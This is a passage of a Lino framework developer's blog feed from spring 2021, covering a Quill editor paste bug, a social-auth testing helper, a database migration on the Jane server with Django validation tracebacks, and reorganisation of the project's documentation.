    onTextChange webpack:///./lino_react/react/components/TextFieldElement.js?:120
    componentDidMount webpack:///./node_modules/primereact/components/editor/Editor.js?:282
    emit webpack:///./node_modules/quill/dist/quill.js?:11207
    emit webpack:///./node_modules/quill/dist/quill.js?:2526
    modify webpack:///./node_modules/quill/dist/quill.js?:2089
    updateContents webpack:///./node_modules/quill/dist/quill.js?:1959
    onPaste webpack:///./node_modules/quill/dist/quill.js?:11622
main.js line 3818 &amp;gt; eval:678:7
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But I was not yet able to systematically reproduce this problem. ​&lt;/p&gt;
&lt;/section&gt;
&lt;section id="testing-online-registration"&gt;
&lt;h2&gt;Testing &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#term-online-registration" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;online registration&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#testing-online-registration" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For testing &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#term-online-registration" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;online registration&lt;/span&gt;&lt;/a&gt; feature,  we now have a new function
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.auth.utils.html#lino.core.auth.utils.activate_social_auth_testing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.auth.utils.activate_social_auth_testing()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. These “public
secrets” are used for testing social authentication on a localhost. Until now
they were available only in noi1e (and noi1r which imports the settings from
noi1e). But now they are used also for &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/api/lino_shop.projects.shop1.html#module-lino_shop.projects.shop1" title="(in Lino Shop v23.3)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.projects.shop1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I started to write some content for &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/guide/index.html#shop-guide" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop User’s Guide&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="database-migration-on-jane"&gt;
&lt;h2&gt;Database migration on Jane&lt;a class="headerlink" href="#database-migration-on-jane" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today I did two releases to Jane.  The first went very smoothly, despite my
expectations. I commented:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Wow, despite the fact that I wrote it myself, Lino will always surprise me. It
did the data migration without any need to manually change anything in the
restore.py file. I am surprised.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And this was only the first surprise. It got even more surprising. I then
noticed that the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.polymorphic.html#lino.mixins.polymorphic.Polymorphic.mti_navigator" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.polymorphic.Polymorphic.mti_navigator&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field
was still there on the Person detail.  Explanation: for some reason my &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt;
&lt;span class="pre"&gt;sdist&lt;/span&gt; &lt;span class="pre"&gt;release&lt;/span&gt;&lt;/code&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; hadn’t worked.  PyPI still returned the old version
of noi. And only for noi, not for lino, xl and react.&lt;/p&gt;
&lt;p&gt;It is interesting to see that the old noi version had been working well together
with the new lino and xl.&lt;/p&gt;
&lt;p&gt;After releasing noi to pypi for good and running the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script
again, my &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; finally gave the expected problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A Person cannot be parent for a User&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;My first guess is to simply &lt;em&gt;not&lt;/em&gt; create any Partner row for the existing users.
Because this probably reflects&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;def create_users_user(person_ptr_id, modified, created, start_date, end_date, password, last_login, username, user_typ$
    kw = dict()
    kw.update(modified=modified)
    kw.update(created=created)
    kw.update(start_date=start_date)
    kw.update(end_date=end_date)
    kw.update(password=password)
    kw.update(last_login=last_login)
    kw.update(username=username)
    kw.update(user_type=user_type)
    kw.update(initials=initials)
    kw.update(id=person_ptr_id)  # ADDED
    # REMOVED kw.update(partner_id=partner_id)
    kw.update(verification_code=verification_code)
    kw.update(time_zone=time_zone)
    kw.update(date_format=date_format)
    # REMOVED kw.update(callme_mode=callme_mode)
    # REMOVED kw.update(user_state=user_state)
    kw.update(access_class=access_class)
    kw.update(event_type_id=event_type_id)
    kw.update(open_session_on_new_ticket=open_session_on_new_ticket)
    kw.update(notify_myself=notify_myself)
    kw.update(mail_mode=mail_mode)
    kw.update(github_username=github_username)
    # REMOVED return create_mti_child(contacts_Person, person_ptr_id, users_User, **kw)
    return users_User(**kw)  # ADDED
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;23880&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;changes_change&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Deferred&lt;/span&gt; &lt;span class="n"&gt;Change&lt;/span&gt; &lt;span class="c1"&gt;#11704 (&amp;#39;#11704&amp;#39;) : {&amp;#39;user&amp;#39;: [&amp;#39;User instance with id 324 does not exist.&amp;#39;]}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User instance with id 324 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;159&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;try_save&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;full_clean&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User instance with id 324 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="n"&gt;Deferred&lt;/span&gt; &lt;span class="n"&gt;Change&lt;/span&gt; &lt;span class="c1"&gt;#14221 (&amp;#39;#14221&amp;#39;) : {&amp;#39;user&amp;#39;: [&amp;#39;User instance with id 328 does not exist.&amp;#39;]}&lt;/span&gt;
&lt;span class="n"&gt;Deferred&lt;/span&gt; &lt;span class="n"&gt;Change&lt;/span&gt; &lt;span class="c1"&gt;#15241 (&amp;#39;#15241&amp;#39;) : {&amp;#39;user&amp;#39;: [&amp;#39;User instance with id 333 does not exist.&amp;#39;]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Deferred&lt;/span&gt; &lt;span class="n"&gt;Comment&lt;/span&gt; &lt;span class="c1"&gt;#1446 (&amp;#39;Comment #1446&amp;#39;) : {&amp;#39;user&amp;#39;: [&amp;#39;User instance with id 324 does not exist.&amp;#39;]}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User instance with id 324 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;159&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;try_save&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;full_clean&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User instance with id 324 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;Trying to save 2773 deferred objects.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;kw.update(id=person_ptr_id)  # new&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;324 : kader
328 : thierry&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0503.html</guid><pubDate>Mon, 03 May 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, May 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/0502.html</link><description>&lt;section id="sunday-may-2-2021"&gt;
&lt;h1&gt;Sunday, May 2, 2021&lt;a class="headerlink" href="#sunday-may-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Search for text &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;.partner&lt;/span&gt;&lt;/code&gt; in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;voga/**/fixtures/*.py&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0502.html</guid><pubDate>Sun, 02 May 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, May 1, 2021</title><link>https://luc.lino-framework.org/blog/2021/0501.html</link><description>&lt;section id="saturday-may-1-2021"&gt;
&lt;h1&gt;Saturday, May 1, 2021&lt;a class="headerlink" href="#saturday-may-1-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="more-optimizations-in-the-documentation-framework"&gt;
&lt;h2&gt;More optimizations in the documentation framework&lt;a class="headerlink" href="#more-optimizations-in-the-documentation-framework" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4139"&gt;#4139&lt;/a&gt; (Remove need to define srcref_url) –
The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;srcref_url&lt;/span&gt;&lt;/code&gt; setting is no longer needed. The &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.srcref()&lt;/span&gt;&lt;/code&gt;
function (the only function that was readit it) now looks whether
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;SETUP_INFO['url']&lt;/span&gt;&lt;/code&gt; exists and assumes that it contains the URL of the source
code repository.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.srcref()&lt;/span&gt;&lt;/code&gt; is used e.g. in &lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.base.html#module-rstgen.sphinxconf.base" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to add a
link to the source code in the autodoc API docs.  Or by the &lt;code class="xref rst rst-role docutils literal notranslate"&gt;&lt;span class="pre"&gt;srcref&lt;/span&gt;&lt;/code&gt;
role (which is implemented using &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;sphinx.ext.extlinks&lt;/span&gt;&lt;/code&gt;). Or by the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#memo-py" title="(in Lino Developer Guide)"&gt;&lt;span&gt;py&lt;/span&gt;&lt;/a&gt; memo command.&lt;/p&gt;
&lt;p&gt;Fixed a bug: &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_lang_selector()&lt;/span&gt;&lt;/code&gt; didn’t work when &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/rstgen.html#envvar-use_dirhtml" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_dirhtml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
was &lt;cite&gt;False&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup_info.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_info.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file can now contain another dict &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ATELIER_INFO&lt;/span&gt;&lt;/code&gt; to
contain the project configuration settings. Experimental. Used in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0501.html</guid><pubDate>Sat, 01 May 2021 00:00:00 +0000</pubDate></item><item><title>Friday, April 30, 2021</title><link>https://luc.lino-framework.org/blog/2021/0430.html</link><description>&lt;section id="friday-april-30-2021"&gt;
&lt;h1&gt;Friday, April 30, 2021&lt;a class="headerlink" href="#friday-april-30-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found yet another missing piece: we must differentiate between the Community
Guide (cg) and the User Guide (ug). I now created the latter.
It is hosted on &lt;a class="reference external" href="https://using.lino-framework.org"&gt;https://using.lino-framework.org&lt;/a&gt; and the
source code is on &lt;a class="reference external" href="https://gitlab.com/lino-framework/ug"&gt;https://gitlab.com/lino-framework/ug&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://using.lino-framework.org/plugins/index.html#ug-plugins" title="(in Lino User Guide)"&gt;&lt;span&gt;Plugin reference for end users&lt;/span&gt;&lt;/a&gt; section has already four chapters!  And I didn’t write these
now, I copied them from &lt;a class="reference external" href="https://dev.lino-framework.org/ref/index.html#book-specs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Reference&lt;/span&gt;&lt;/a&gt; and then removed on both sides the
partns that were at the wrong place.  I have the impression that everything is
much more readable now.  My first steps seem to confirm this move.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt; and the &lt;a class="reference external" href="https://using.lino-framework.org/index.html#ug" title="(in Lino User Guide)"&gt;&lt;span&gt;Lino User Guide&lt;/span&gt;&lt;/a&gt; are similar in that they both are docs-only
repositories (they don’t define any Python package) and are translated. They
differ because of the target audience: &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt; is for people who do not yet
use Lino (future &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-operator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site operators&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-hosting-provider" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;hosting
providers&lt;/span&gt;&lt;/a&gt; or &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developers&lt;/span&gt;&lt;/a&gt;) while the &lt;a class="reference external" href="https://using.lino-framework.org/index.html#ug" title="(in Lino User Guide)"&gt;&lt;span&gt;Lino User Guide&lt;/span&gt;&lt;/a&gt; is for &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end users&lt;/span&gt;&lt;/a&gt; needing
help.&lt;/p&gt;
&lt;section id="where-to-put-the-parameter-panel"&gt;
&lt;h2&gt;Where to put the parameter panel&lt;a class="headerlink" href="#where-to-put-the-parameter-panel" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In ExtJS the parameter panel is an “inline” panel that is “docked” into the
window together with the main element. The end user can then expand or collapse
it.  In React it was a popup window.  That was also nice.&lt;/p&gt;
&lt;p&gt;We added a new Actor attribute
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/parameters.html#lino.core.actors.Actor.params_panel_pos" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.params_panel_pos&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0430.html</guid><pubDate>Fri, 30 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, April 29, 2021</title><link>https://luc.lino-framework.org/blog/2021/0429.html</link><description>&lt;section id="thursday-april-29-2021"&gt;
&lt;h1&gt;Thursday, April 29, 2021&lt;a class="headerlink" href="#thursday-april-29-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="improving-the-documentation-about-lino"&gt;
&lt;h2&gt;Improving the documentation about Lino&lt;a class="headerlink" href="#improving-the-documentation-about-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued my dive into the documentation framework.&lt;/p&gt;
&lt;p&gt;My next avalanche of changes is rather in the docs themselves. That’s a good
sign: the documentation framework starts to meet my expectations, I can start to
care about the content.&lt;/p&gt;
&lt;p&gt;We need a common standard for structuring the docs and reduce redundant
explanations.&lt;/p&gt;
&lt;p&gt;For example when I write application-specific end-user docs, I often use words
like &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-detail-window" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;detail window&lt;/span&gt;&lt;/a&gt; or &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-grid-window" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;grid window&lt;/span&gt;&lt;/a&gt;. And I don’t want to explain
these words over and over again.&lt;/p&gt;
&lt;p&gt;I moved the “User Guide” section from &lt;cite&gt;book/docs&lt;/cite&gt; to &lt;cite&gt;cg/docs&lt;/cite&gt; where they are
called “Using Lino”. That was needed because &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cg&lt;/span&gt;&lt;/code&gt; is for
non-technical end-user documentation that will be translated.
EDIT: the next morning I continued this move, see &lt;a class="reference internal" href="0430.html"&gt;&lt;span class="doc"&gt;Friday, April 30, 2021&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I have a feeling that the title of the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;book&lt;/span&gt;&lt;/code&gt; doctree will change from “The
Lino Book” to “Lino developer docs”, and the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cg&lt;/span&gt;&lt;/code&gt; will rather get a title like
“The Lino Book”.&lt;/p&gt;
&lt;p&gt;Isn’t it a pity that we cannot use the demo projects of the book for running
doctests in other repositories as well? Answer after some trying: no.  For
example in &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#ug-plugins-users" title="(in Lino User Guide)"&gt;&lt;span&gt;The users plugin&lt;/span&gt;&lt;/a&gt; it seems to me that it would make sense to add
tested code snippets.&lt;/p&gt;
&lt;p&gt;The fundamental difference between &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;book&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cg&lt;/span&gt;&lt;/code&gt; is their audience. book
is meant for developers. We do not want to maintain translations for it.&lt;/p&gt;
&lt;p&gt;About intersphinx dependencies. The book (quite often) refers to something that
is explained in the cg. But at the moment we still have references in the other
direction as well (cg referring to book). This is not good because it can cause
a deadlock.  The end-user docs should indeed really be implementation-agnostic.
But Lino should have Help buttons that open links to the technical reference.&lt;/p&gt;
&lt;p&gt;Testing whether references work:
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/printing.html#lino.modlib.printing.PrintableContext.this" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.printing.PrintableContext.this&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="release-to-jane"&gt;
&lt;h2&gt;Release to Jane&lt;a class="headerlink" href="#release-to-jane" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sharif and I did an upgrade on &lt;a class="reference internal" href="../../about/friends.html#jane"&gt;&lt;span class="std std-ref"&gt;Jane&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We found and fixed a little bug: &lt;a class="reference external" href="https://react.lino-framework.org/dev/py.html#module-lino_react" title="(in Lino React)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did not yet automatically get
installed via &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that mysqlclient is not yet being automatically installed by
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Only &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/index.html#module-getlino" title="(in getlino docs)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; knows the python package to be used for a
given Django dbengine.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0429.html</guid><pubDate>Thu, 29 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 28, 2021</title><link>https://luc.lino-framework.org/blog/2021/0428.html</link><description>&lt;section id="wednesday-april-28-2021"&gt;
&lt;h1&gt;Wednesday, April 28, 2021&lt;a class="headerlink" href="#wednesday-april-28-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I changed the URL of the German and French doctrees about welfare. Until now
they were:&lt;/p&gt;
